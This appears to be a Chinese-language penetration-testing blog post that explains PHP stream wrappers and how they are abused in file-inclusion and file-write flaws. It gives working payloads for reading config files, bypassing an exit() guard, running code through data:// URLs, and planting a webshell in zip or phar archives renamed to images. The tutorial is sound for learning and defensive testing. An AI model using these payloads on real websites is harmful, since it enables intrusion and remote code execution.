PHP常见的利用协议

技术分享

PHP伪协议就是PHP支持的一些协议,并且封装起来使用的协议,就叫伪协议

file://

file协议用来访问本地系统文件的,在渗透测试中常用来读取系统文件

条件:

  • allow_url_include 为 On

这里的协议比较容易理解,和访问本地系统文件一样读取就可以了

file://C:\\windows\\win.ini

image-20220111150735999

php://

php://filter

这种协议一般出现在PHP的文件读取写入函数中

条件:

  • allow_url_include 为 On

简单理解一下这个协议,它能够处理数据流,比如读取文件时通过base64进行加密输出

php://filter/read=convert.base64-encode/resource=../../config/database.php

image-20220111151537671

再来看个例子,也是实战中比较多的

<?php
$content = '<?php exit; ?>';
$content .= $_GET['txt'];
file_put_contents($_GET['filename'], $content);

在写入文件之前,加入一个PHP的退出函数

输入Payload为 txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=a.php 时报错了

image-20220111155346260

这是由于base64编码,在解码时是4个字节为一组,如果不足在编码前补充对应字符

txt=bbPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php

image-20220111155917655

此时成功写入

还有一个方法,使用这个协议的 string.strip_tags 方法,XML遇到PHP标签时,会解析成XML标签,使用这个方法可以删除这个标签,然后再处理输入流

txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php

详细过程看:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

php://input

输入流input,访问请求的原始输入流,当 enctype="multipart/form-data" 的时候,php://input 是无效的,只要 enctype 值不是 multipart/form-data ,这个协议就管用

条件:

  • allow_url_include 为 On
  • enctype 值不为 multipart/form-data

看一个例子

<?php
include($_GET['p']);
?>

这里就可以使用 php://input 协议

image-20220111171646264

这里有一个很疑惑的点,输入流原始数据必须符合参数化形式,不然不会被执行,网上很多文章都是不需要的,PHP5.4版本貌似没用

data://

data:// 数据流封装器,漏洞出现在PHP文件包含处

条件:

  • allow_url_include 为 On
  • allow_url_fopen 为 On
<?php
echo file_get_contents($_GET['p']);
?>

?p=data://text/plain;base64,YWFhYWFhYQ==

该协议常用来封装数据,可以使用base64进行加密传输,输出时可自动解密为明文 aaaaaaa

<?php 
@include($_GET['p']);
?>

?p=data://text/plain,<?php phpinfo();?>

?p=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

在base64编码后,需要对base64编码特殊字符做URL编码,否则浏览器识别不了

zip://

zip:// 伪协议的格式为 zip://[压缩文件路径]#[压缩文件内的子文件名]

将PHP文件放在一个文件夹中,将这个文件夹压缩成ZIP格式,再将压缩文件后缀改为 .jpg

这里需要注意的是 # 需要进行URL编码

常用于在文件包含中使用

<?php
@include($_GET['p']);
?>

?p=zip://a.jpg%231.php

将1.php写成一句话木马,通过Webshell管理工具进行连接

phar://

phar 是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

在这里,我测试了很多网上的方法,只测试成功了一个

首先,这里要创建一个 phar ,在本地写好并且运行创建

在本地创建的时候注意了,将 php.ini 中的 phar.readonly 设置为Off,否则无法生成phar文件

使用命令 php 1.php 执行后,会在当前目录生成一个 a.zip 文件

// 1.php
<?php
$p = new PharData(dirname(__FILE__).'/a.zip', 0,'a',Phar::ZIP); 
$x=file_get_contents('./a.php');
$p->addFromString('a.jpg', $x); 
?>
    
// a.php
<?php phpinfo();?>

a.zip 为创建的phar文件名,这里使用的是 zip 格式,读取一句话木马文件 a.php 写入到phar压缩包中的 a.jpg

若文件包含可控,直接传入参数 phar://a.zip/a.jpg 即可执行我们想要执行的代码

还有一些其他操作:https://www.cnblogs.com/ningskyer/articles/14321607.html

Author: wileysec

Permalink: https://wileysec.github.io/de9f49bb405f.html

Comments